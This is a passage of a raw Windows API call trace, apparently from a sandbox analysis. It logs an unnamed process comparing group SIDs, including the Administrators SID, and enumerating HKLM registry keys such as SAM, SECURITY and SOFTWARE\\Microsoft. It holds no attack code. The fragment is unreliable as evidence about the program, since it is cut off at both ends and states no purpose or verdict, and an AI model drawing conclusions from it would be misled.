[3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc1, [5]=0x43))) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0222.852] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b860) returned 1 [0222.852] NtClose (Handle=0xa0) returned 0x0 [0222.852] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6b860 [0222.854] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6b8a8 [0222.855] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x280) returned 0xf6b930 [0222.855] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0222.862] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xf6b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0222.862] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.862] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bc58 [0222.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xf6bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0222.862] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bca0 [0222.862] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bc58) returned 1 [0222.862] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bca0) returned 1 [0222.862] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.862] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xf6b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0222.862] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0222.863] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bca0 [0222.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xf6bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0222.863] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bc58 [0222.863] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bca0) returned 1 [0222.863] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bc58) returned 1 [0222.863] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.863] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xf6b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0222.863] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.863] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bc58 [0222.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xf6bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0222.863] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bca0 [0222.863] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bc58) returned 1 [0222.863] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bca0) returned 1 [0222.863] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.863] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xf6b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0222.864] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0222.864] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bca0 [0222.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xf6bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0222.864] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bc58 [0222.864] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bca0) returned 1 [0222.864] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bc58) returned 1 [0222.864] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.864] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xf6b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0222.864] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0222.864] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bc58 [0222.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xf6bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0222.864] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bca0 [0222.864] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bc58) returned 1 [0222.864] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bca0) returned 1 [0222.864] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.864] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x53fb08 | out: phkResult=0x53fb08*=0xa0) returned 0x0 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x184) returned 0xf6d040 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bca0 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bc58 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bce8 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bd30 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bd78 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bdc0 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6be08 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6be50 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6be98 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bee0 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bf28 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bf70 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6bfb8 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c000 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c048 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c090 [0222.865] RegCloseKey (hKey=0x80000002) returned 0x0 [0222.865] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xf6b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xf6c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.865] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.865] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.865] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.865] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xf6b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0222.865] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.866] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xf6b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xf6c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.866] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xf6b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.866] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xf6b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xf6c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0222.866] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.866] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.866] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0xf6b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0222.867] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0222.867] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xf6c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0222.867] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.867] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.867] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.867] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.867] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0xf6b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0222.867] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0222.867] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xf6c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0222.867] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.867] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.867] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.867] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.867] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x53fb08 | out: phkResult=0x53fb08*=0x24) returned 0x0 [0222.867] RegCloseKey (hKey=0xa0) returned 0x0 [0222.867] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xf6b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0222.867] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0222.867] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xf6c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0222.867] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.867] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.867] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.867] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.868] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xf6b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xf6c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.868] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.868] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.868] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.868] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xf6b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.868] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.868] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.868] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.868] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xf6b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xf6c0d8, cbMultiByte=18, 